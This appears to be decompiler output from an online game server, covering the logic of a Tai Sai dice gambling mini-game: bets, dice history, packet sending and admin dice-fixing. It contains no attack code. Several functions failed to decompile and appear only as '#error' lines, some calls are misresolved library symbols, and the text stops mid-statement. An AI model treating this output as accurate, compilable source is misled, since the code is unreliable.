-------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType) { char result; // al@3 if ( nGameType ) { if ( nGameType == 1 ) { result = 1; *(_DWORD *)(this + 23416) = 1; } else { result = 0; *(_DWORD *)(this + 23416) = 0; } } else { result = 1; *(_DWORD *)(this + 23416) = 0; } return result; } //----- (004F64B0) -------------------------------------------------------- #error "4F64B0: undefined or illegal type '#593' (funcsize=38)" //----- (004F6520) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve) { JUMPOUT(pGameLeaveReserve, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23416), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)pGameLeaveReserve = *(_BYTE *)(this + 23448); return 1; } // 4F653E: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F6550) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve) { if ( bGameLeaveReserve ) JUMPOUT(bGameLeaveReserve, 1, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23416), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)(this + 23448) = bGameLeaveReserve; return 1; } // 4F6570: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F6580) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve) { JUMPOUT(pRoomLeaveReserve, 0, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23416), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)pRoomLeaveReserve = *(_BYTE *)(this + 23449); return 1; } // 4F659E: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F65B0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve) { if ( bRoomLeaveReserve ) JUMPOUT(bRoomLeaveReserve, 1, Concurrency::_Order_node_base::reserve_message); JUMPOUT(*(_DWORD *)(this + 23416), 1, Concurrency::_Order_node_base::reserve_message); *(_BYTE *)(this + 23449) = bRoomLeaveReserve; return 1; } // 4F65D0: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004F65E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy((char *)(this + 23424), sMapName, 0xCu); *(_DWORD *)(v3 + 23437) = *(_DWORD *)LocateXY; *(_DWORD *)(v3 + 23441) = *(_DWORD *)(LocateXY + 4); result = 1; } else { result = 0; } return result; } //----- (004F6630) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY) { int v3; // esi@1 char result; // al@3 v3 = this; if ( sMapName && LocateXY ) { strncpy(sMapName, (const char *)(this + 23424), 0xCu); *(_DWORD *)LocateXY = *(_DWORD *)(v3 + 23437); *(_DWORD *)(LocateXY + 4) = *(_DWORD *)(v3 + 23441); result = 1; } else { result = 0; } return result; } //----- (004F6680) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23416) == 1 ) result = this + 23448; else result = 0; return result; } //----- (004F66A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this) { char result; // al@2 if ( *(_DWORD *)(this + 23416) == 1 ) { *(_DWORD *)(this + 23660) = 0; memset((void *)(this + 23452), 0, 0xD0u); *(_DWORD *)(this + 23664) = 0; *(_DWORD *)(this + 23668) = 0; result = 1; } else { result = 0; } return result; } //----- (004F66E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel) { char result; // al@2 unsigned int v4; // edx@5 if ( *(_DWORD *)(this + 23416) == 1 ) { if ( bIsLastBettingCancel && (v4 = *(_DWORD *)(pTaiSaiBetting + 4)) != 0 ) { if ( *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23452) >= v4 ) { *(_DWORD *)(this + 23660) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23452) -= *(_DWORD *)(pTaiSaiBetting + 4); *(_BYTE *)bIsLastBettingCancel = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23452) ) *(_BYTE *)bIsLastBettingCancel = 1; result = 1; } else { result = 0; } } else { result = 0; } } else { result = 0; } return result; } //----- (004F6760) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 char *v4; // eax@3 int v5; // eax@5 v2 = this; if ( pDBAck ) { v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21490; *((_WORD *)v4 + 1) = *(_WORD *)pDBAck; *((_WORD *)v4 + 2) = *(_WORD *)(pDBAck + 8); *(_DWORD *)(v4 + 6) = *(_DWORD *)(pDBAck + 18); *(_DWORD *)(v4 + 10) = *(_DWORD *)(pDBAck + 22); *(_DWORD *)(v4 + 14) = *(_DWORD *)(pDBAck + 26); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 18) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney : Packet Too Long", 18); result = 1; } } else { result = 0; } return result; } //----- (004F67F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck) { void *v2; // esi@1 char result; // al@2 int v4; // eax@3 int v5; // eax@4 int v6; // ST04_4@5 DebugLogging *v7; // eax@5 DebugLogging *v8; // eax@5 __int64 v9; // qax@6 int v10; // eax@7 char *v11; // eax@8 int v12; // eax@10 v2 = this; if ( pDBAck ) { v4 = *(_DWORD *)this; if ( *(_WORD *)pDBAck == 7424 ) { v5 = (*(int (**)(void))(v4 + 2004))(); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 32))( v5, v2, *(_WORD *)(pDBAck + 2), 0) ) { v6 = *(_WORD *)(pDBAck + 2); v7 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } LODWORD(v9) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1072))(v2); (*(void (__thiscall **)(void *, _DWORD, _DWORD))(*(_DWORD *)v2 + 1084))( v2, v9 + *(_DWORD *)(pDBAck + 20), (unsigned __int64)(v9 + *(_QWORD *)(pDBAck + 20)) >> 32); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 1092))(v2); } else { v10 = (*(int (**)(void))(v4 + 2004))(); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v10 + 40))(v10, *(_WORD *)(pDBAck + 2)); } v11 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21486; *((_WORD *)v11 + 1) = *(_WORD *)pDBAck; *((_WORD *)v11 + 2) = *(_WORD *)(pDBAck + 10); *(_DWORD *)(v11 + 6) = *(_DWORD *)(pDBAck + 20); *(_DWORD *)(v11 + 10) = *(_DWORD *)(pDBAck + 24); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 760))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v2, &gpp); result = 1; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney : Packet Too Long", 14); result = 1; } } else { result = 0; } return result; } //----- (004F6900) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting) { char result; // al@3 if ( *(_DWORD *)(this + 23416) == 1 && bIsFirstBetting ) { if ( *(_DWORD *)(pTaiSaiBetting + 4) ) { *(_BYTE *)bIsFirstBetting = 0; if ( !*(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23452) ) *(_BYTE *)bIsFirstBetting = 1; *(_DWORD *)(this + 23660) += *(_DWORD *)(pTaiSaiBetting + 4); *(_DWORD *)(this + 4 * *(_DWORD *)pTaiSaiBetting + 23452) += *(_DWORD *)(pTaiSaiBetting + 4); result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (004F6960) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt) { char result; // al@2 if ( nWinCnt ) { CCharacterTitleZone::CT_WinDiceTaiSaiWin((CCharacterTitleZone *)(this + 140400), nWinCnt); result = 1; } else { result = 0; } return result; } //----- (004F6980) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this) { CCharacterTitleZone::CT_WinDiceTaiSaiSet((CCharacterTitleZone *)(this + 140400)); return 1; } //----- (004F6990) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // esi@1 char *v2; // ecx@1 int v3; // eax@1 signed int v4; // edx@1 unsigned int v5; // edi@3 int v6; // ebp@3 void *v7; // eax@4 v1 = this; *(_DWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = -1; this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = -1; this->smh_DiceTaiSai.ActiveDice.nGameNPCType = 0; this->smh_DiceTaiSai.ActiveDice.ItemID = -1; this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = 0; this->smh_DiceTaiSai.ActiveDice.UseMinLv = 0; this->smh_DiceTaiSai.ActiveDice.GetSysRate = 0; this->smh_DiceTaiSai.ActiveDice.GetMasterRate = 0; this->smh_DiceTaiSai.ActiveDice.MinGetMoney = 0; this->smh_DiceTaiSai.ActiveDice.MaxBetMoney = 0; this->smh_DiceTaiSai.ActiveDice.CastTime = 0; this->smh_DiceTaiSai.ActiveDice.DelayTime = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.WinCode[2] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[0] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[1] = 0; this->smh_DiceTaiSai.ActiveDice.LoseCode[2] = 0; this->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; this->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; this->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; this->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; this->smh_DiceTaiSai.nGameMode = 0; this->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; this->smh_DiceTaiSai.nTimerCheckTime = 0; this->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&this->smh_DiceTaiSai.History[5].nNumber[1] = 0; this->smh_DiceTaiSai.History[6].nNumber[2] = 0; *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; this->smh_DiceTaiSai.nGamerCnt = 0; v2 = (char *)this->smh_DiceTaiSai.pRank; v3 = (int)&v1->smh_DiceTaiSai.GamerInfo[0].nTotalWinCnt; v4 = 99; do { *(_DWORD *)(v3 - 4) = 0; *(_DWORD *)v3 = 0; *(_DWORD *)v2 = 0; v2 += 4; v3 += 8; --v4; } while ( v4 ); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v1->gap0[0] + 468))(v1); v1->smh_DiceTaiSai.nDiceRateSum = 0; v5 = 0; v6 = (int)v1->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiceRate, v5); if ( !v7 ) break; *(_WORD *)v6 = *(_WORD *)v7; ++v5; v6 += 2; v1->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v7; if ( (signed int)v5 >= 216 ) return 1; } return 0; } //----- (004F6B00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell) { ItemInventoryCell *v2; // edi@1 ShineObjectClass::ShineMiniHouse *v3; // esi@1 char result; // al@2 unsigned __int16 v5; // bp@3 unsigned int v6; // eax@6 void *v7; // ecx@7 unsigned int v8; // edi@14 int v9; // ebp@14 void *v10; // eax@15 unsigned int v11; // [sp+0h] [bp-4h]@4 unsigned int pInvenCella; // [sp+8h] [bp+4h]@6 v2 = pInvenCell; v3 = this; if ( pInvenCell ) { v5 = pInvenCell->iic_Item.iti_itemstruct.itemid; if ( gMiniHouseDiecGame.m_pHead ) v11 = gMiniHouseDiecGame.m_pHead->nNumOfRecord; else v11 = 0; v6 = 0; pInvenCella = 0; if ( (signed int)v11 > 0 ) { while ( 1 ) { v7 = CDataReader::GetRecord(&gMiniHouseDiecGame, v6); if ( *(_WORD *)v7 == v5 ) break; ++pInvenCella; if ( (signed int)pInvenCella >= (signed int)v11 ) break; v6 = pInvenCella; } v6 = pInvenCella; } else { v7 = 0; } if ( v6 != v11 ) { v3->smh_DiceTaiSai.ActiveDice.nGameNPCType = v6; v3->smh_DiceTaiSai.ActiveDice.ItemID = v5; *(_DWORD *)&v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] = *(_DWORD *)&v2->iic_Item.iti_registnum.binary.gap0[0]; v3->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary._bf4 = v2->iic_Item.iti_registnum.binary._bf4; v3->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell = v2; v3->smh_DiceTaiSai.ActiveDice.UseMinLv = *((_WORD *)v7 + 1); v3->smh_DiceTaiSai.ActiveDice.GetSysRate = *((_WORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.GetMasterRate = *((_WORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.MinGetMoney = *((_DWORD *)v7 + 2); v3->smh_DiceTaiSai.ActiveDice.MaxBetMoney = *((_DWORD *)v7 + 3); v3->smh_DiceTaiSai.ActiveDice.CastTime = ((signed int)((unsigned __int64)(10 * *((_WORD *)v7 + 8) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *((_WORD *)v7 + 8) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.DelayTime = ((signed int)((unsigned __int64)(10 * *((_WORD *)v7 + 9) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * *((_WORD *)v7 + 9) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v3->smh_DiceTaiSai.ActiveDice.WinCode[0] = *((_DWORD *)v7 + 5); v3->smh_DiceTaiSai.ActiveDice.WinCode[1] = *((_DWORD *)v7 + 6); v3->smh_DiceTaiSai.ActiveDice.WinCode[2] = *((_DWORD *)v7 + 7); v3->smh_DiceTaiSai.ActiveDice.LoseCode[0] = *((_DWORD *)v7 + 8); v3->smh_DiceTaiSai.ActiveDice.LoseCode[1] = *((_DWORD *)v7 + 9); v3->smh_DiceTaiSai.ActiveDice.LoseCode[2] = *((_DWORD *)v7 + 10); v3->smh_DiceTaiSai.Reserve.bIsCreateDice = 0; v3->smh_DiceTaiSai.Reserve.bIsDeleteDice = 0; v3->smh_DiceTaiSai.Reserve.bIsBlowGame = 0; v3->smh_DiceTaiSai.Reserve.bIsLeaveOwner = 0; v3->smh_DiceTaiSai.nGameMode = 0; v3->smh_DiceTaiSai.bIsActiveTimerCheckTime = 0; v3->smh_DiceTaiSai.nTimerCheckTime = 0; v3->smh_DiceTaiSai.bIsAdminDice = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[0].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[1].nNumber[1] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[2].nNumber[2] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[4].nNumber[0] = 0; *(_DWORD *)&v3->smh_DiceTaiSai.History[5].nNumber[1] = 0; v3->smh_DiceTaiSai.History[6].nNumber[2] = 0; *(_WORD *)&v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[0] = 0; v3->smh_DiceTaiSai.CurrentRollingDice.nNumber[2] = 0; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)&v3->gap0[0] + 468))(v3); v3->smh_DiceTaiSai.nDiceRateSum = 0; v8 = 0; v9 = (int)v3->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v10 = CDataReader::GetRecord(&gMiniHouseDiceRate, v8); if ( !v10 ) break; *(_WORD *)v9 = *(_WORD *)v10; ++v8; v9 += 2; v3->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v10; if ( (signed int)v8 >= 216 ) return 1; } } result = 0; } else { result = 0; } return result; } //----- (004F6D20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell) { char result; // al@2 if ( pDiceCell && this->smh_DiceTaiSai.ActiveDice.pActiveDiceTaiSaiCell == pDiceCell ) result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; else result = 0; return result; } //----- (004F6D50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey) { char result; // al@2 if ( (nDiceKey.binary._bf4 & *(_DWORD *)&nDiceKey) == -1 || *(_QWORD *)&this->smh_DiceTaiSai.ActiveDice.nActiveDiceTaiSaiKey.binary.gap0[0] != nDiceKey ) result = 0; else result = (*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() != 0; return result; } //----- (004F6D90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum) { ShineObjectClass::ShineMiniHouse *v2; // esi@1 DICE_TAISAI_GAME_STATUS v3; // eax@3 char result; // al@5 int v5; // esi@6 v2 = this; if ( pDiceNum && (unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() && ((v3 = v2->smh_DiceTaiSai.nGameStatus) == 0 || v3 == 1) ) { v2->smh_DiceTaiSai.bIsAdminDice = 1; v5 = (int)&v2->smh_DiceTaiSai.CurrentRollingDice; *(_WORD *)v5 = *(_WORD *)&pDiceNum->nNumber[0]; *(_BYTE *)(v5 + 2) = pDiceNum->nNumber[2]; result = 1; } else { result = 0; } return result; } //----- (004F6DE0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate) { unsigned int v3; // edi@1 ShineObjectClass::ShineMiniHouse *v4; // esi@1 char *v5; // ebx@2 void *v6; // eax@3 DiceTaiSaiInfo *v8; // eax@9 unsigned __int16 v9; // cx@9 v3 = (unsigned int)pDiceNum; v4 = this; if ( !pDiceNum ) { this->smh_DiceTaiSai.nDiceRateSum = (unsigned int)pDiceNum; v5 = (char *)this->smh_DiceTaiSai.nDiceRate; while ( 1 ) { v6 = CDataReader::GetRecord(&gMiniHouseDiceRate, v3); if ( !v6 ) break; *(_WORD *)v5 = *(_WORD *)v6; ++v3; v5 += 2; v4->smh_DiceTaiSai.nDiceRateSum += *(_DWORD *)v6; if ( (signed int)v3 >= 216 ) return 1; } return 0; } if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)&this->gap0[0] + 532))() || (pDiceNum = 0, !DiceTaiSai::ConvertDice(&gMiniHouseDiceTaiSai, (char *)v3, (int *)&pDiceNum)) ) return 0; v8 = pDiceNum; v9 = nDiceRate; v4->smh_DiceTaiSai.nDiceRateSum += nDiceRate - v4->smh_DiceTaiSai.nDiceRate[(_DWORD)pDiceNum]; v4->smh_DiceTaiSai.nDiceRate[(_DWORD)v8] = v9; return 1; } //----- (004F6EA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@3 int v4; // esi@3 int v5; // edi@3 __int16 v6; // bx@3 char *v7; // ecx@3 int v8; // eax@3 unsigned int v10; // [sp+0h] [bp-4h]@1 v10 = (unsigned int)&v10 ^ __security_cookie; this->smh_DiceTaiSai.nBetSumMoney = 0i64; v1 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; v2 = 52; do { *((_DWORD *)v1 - 2) = 0; *((_DWORD *)v1 - 1) = 0; *(_WORD *)v1 = 0; v1 += 16; --v2; } while ( v2 ); this->smh_DiceTaiSai.nGameStatus = 0; v8 = *(_DWORD *)&this->smh_DiceTaiSai.History[0].nNumber[0]; v3 = *(_DWORD *)&this->smh_DiceTaiSai.History[1].nNumber[1]; v4 = *(_DWORD *)&this->smh_DiceTaiSai.History[2].nNumber[2]; v5 = *(_DWORD *)&this->smh_DiceTaiSai.History[4].nNumber[0]; v6 = *(_WORD *)&this->smh_DiceTaiSai.History[5].nNumber[1]; v7 = (char *)&this->smh_DiceTaiSai.History[1]; *(_DWORD *)v7 = v8; *((_DWORD *)v7 + 1) = v3; *((_DWORD *)v7 + 2) = v4; *((_DWORD *)v7 + 3) = v5; *((_WORD *)v7 + 8) = v6; __security_check_cookie((unsigned int)&v10 ^ v10); return v8; } //----- (004F6F30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this) { char *v1; // eax@1 __int16 v2; // si@1 char v3; // dl@1 char *v4; // ecx@1 v1 = (char *)&this->smh_DiceTaiSai.CurrentRollingDice; v2 = *(_WORD *)&this->smh_DiceTaiSai.CurrentRollingDice.nNumber[0]; v3 = this->smh_DiceTaiSai.CurrentRollingDice.nNumber[2]; v4 = (char *)this->smh_DiceTaiSai.History; *(_WORD *)v4 = v2; v4[2] = v3; *(_WORD *)v1 = 0; v1[2] = 0; return 1; } //----- (004F6F60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this) { ShineObjectClass::ShineMiniHouse *v1; // ebx@1 signed int v2; // edi@1 char *v3; // esi@2 v1 = this; v2 = 0; if ( this->smh_DiceTaiSai.nGamerCnt ) { v3 = (char *)this->smh_DiceTaiSai.GamerInfo; do { if ( *(_DWORD *)v3 ) (*(void (**)(void))(**(_DWORD **)v3 + 416))(); ++v2; v3 += 8; } while ( v2 < v1->smh_DiceTaiSai.nGamerCnt ); } return 1; } //----- (004F6FA0) -------------------------------------------------------- #error "4F6FA0: undefined or illegal type '#593' (funcsize=206)" //----- (004F7250) -------------------------------------------------------- #error "4F7250: undefined or illegal type '#593' (funcsize=153)" //----- (004F7440) -------------------------------------------------------- #error "4F7440: undefined or illegal type '#593' (funcsize=57)" //----- (004F74D0) -------------------------------------------------------- #error "4F74D0: undefined or illegal type '#593' (funcsize=71)" //----- (004F75C0) -------------------------------------------------------- #error "4F75C0: undefined or illegal type '#593' (funcsize=87)" //----- (004F76C0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1) { return 7317; } //----- (004F76D0) -------------------------------------------------------- #error "4F76D0: undefined or illegal type '#593' (funcsize=236)" //----- (004F79C0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#593 *this, #593 *a2, char bReserve) { return 7317; } //----- (004F79D0) -------------------------------------------------------- #error "4F79D0: undefined or illegal type '#593' (funcsize=75)" //----- (004F7AC0) -------------------------------------------------------- signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1) { return 7332; } //----- (004F7AD0) -------------------------------------------------------- #error "4F7AD0: undefined or illegal type '#593' (funcsize=86)" //----- (004F7BB0) -------------------------------------------------------- #error "4F7BB0: undefined or illegal type '#593' (funcsize=208)" //----- (004F7E40) -------------------------------------------------------- #error "4F7E40: undefined or illegal type '#593' (funcsize=46)" //----- (004F7EC0) -------------------------------------------------------- #error "4F7EC0: undefined or illegal type '#593' (funcsize=154)" //----- (004F80C0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#593 *this, #593 *pTaiSaiBetting, DiceTaiSaiBetting *nBettingType) { return 7349; } //----- (004F80D0) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType) { signed int v3; // ebx@1 ShineObjectClass::ShineMiniHouse *v4; // edi@1 DICE_TAISAI_GAME_STATUS v6; // eax@4 int v7; // ecx@6 int v8; // eax@6 signed int v9; // edx@6 int v10; // esi@7 int v11; // ebp@7 char *v12; // eax@10 unsigned __int16 v13; // cx@10 int v14; // esi@12 char v15; // al@15 int v16; // eax@16 signed int v17; // eax@21 char *v18; // ecx@21 char *v19; // eax@25 int v20; // esi@27 int v21; // eax@32 int pTaiSaiBettinga; // [sp+Ch] [bp+4h]@11 int pTaiSaiBettingb; // [sp+Ch] [bp+4h]@26 v3 = 0; v4 = this; if ( !pTaiSaiBetting || (signed int)nBettingType >= 2 ) return 7349; v6 = this->smh_DiceTaiSai.nGameStatus; if ( nBettingType ) { if ( v6 != 1 ) return 7349; v17 = 0; v18 = (char *)&this->smh_DiceTaiSai.BettingInfo[0].nPlayerCnt; while ( *(_WORD *)v18 <= 0u ) { ++v17; v18 += 16; if ( v17 >= 52 ) { if ( !v4->smh_DiceTaiSai.nGameMode ) { v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v19[2] = 0; *(_WORD *)(v19 + 3) = 0; *(_DWORD *)(v19 + 5) = 0; if ( v4->smh_DiceTaiSai.nGamerCnt ) { pTaiSaiBettingb = (int)v4->smh_DiceTaiSai.GamerInfo; do { v20 = *(_DWORD *)pTaiSaiBettingb; if ( *(_DWORD *)pTaiSaiBettingb && (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v20 + 312))(*(_DWORD *)pTaiSaiBettingb) == *(_WORD *)&v4->gap0[4] && (unsigned __int8)(*(int (__thiscall **)(int, signed int))(*(_DWORD *)v20 + 368))(v20, 1) ) { if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v21 = (*(int (__thiscall **)(int))(*(_DWORD *)v20 + 760))(v20); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v21 + 12))(v21, v20, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer : Packet Too Long", 9); } } ++v3; pTaiSaiBettingb += 8; } while ( v3 < v4->smh_DiceTaiSai.nGamerCnt ); } } v4->smh_DiceTaiSai.nGameStatus = 0; return 7344; } } return 7344; } if ( v6 ) return 7344; v7 = 0; v8 = (int)&v4->smh_DiceTaiSai.BettingInfo[2].nPlayerCnt; v9 = 13; do { v10 = *(_WORD *)(v8 + 16) + *(_WORD *)(v8 - 16) + *(_WORD *)(v8 - 32); v11 = v7 + *(_WORD *)v8; v8 += 64; --v9; v7 = v10 + v11; } while ( v9 ); if ( v7 != 1 ) return 7349; if ( !v4->smh_DiceTaiSai.nGameMode ) { v12 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -21460; v12[2] = 1; v4->smh_DiceTaiSai.bIsActiveTimerCheckTime = 